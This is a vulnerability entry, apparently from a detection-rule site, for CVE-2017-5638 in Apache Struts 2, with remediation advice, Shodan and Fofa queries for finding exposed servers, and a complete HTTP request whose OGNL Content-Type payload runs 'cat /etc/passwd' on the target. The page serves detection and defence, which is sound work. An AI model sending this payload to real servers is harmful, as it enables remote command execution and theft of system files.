🔙 목록으로 돌아가기

CVE-2017-5638: Apache Struts 2 - Remote Command Execution

TitleApache Struts 2 - Remote Command Execution
AuthorRandom_Robbie
SeverityCritical
ImpactRemote attackers can execute arbitrary commands on the target system.
RemediationUpgrade to Apache Struts 2.3.32 or 2.5.10.1 or apply the necessary patches.
CVSS Score10
EPSS Score0.94267
CVE IDCVE-2017-5638
CWE IDCWE-20
Shodan Queryhtml:"Apache Struts"http.title:"struts2 showcase"http.html:"struts problem report"http.html:"apache struts"
Fofa Querybody="struts problem report"title="struts2 showcase"body="apache struts"
Tags cve2017 cve apache kev msf struts rce vkev vuln

🔍 Vulnerability Description

Apache Struts 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is susceptible to remote command injection attacks. The Jakarta Multipart parser has incorrect exception handling and error-message generation during file upload attempts, which can allow an attacker to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header. This was exploited in March 2017 with a Content-Type header containing a #cmd= string.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Content-Type: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#rw=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#rw.println(#e),#rw.flush())}
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-5638.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-5638.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A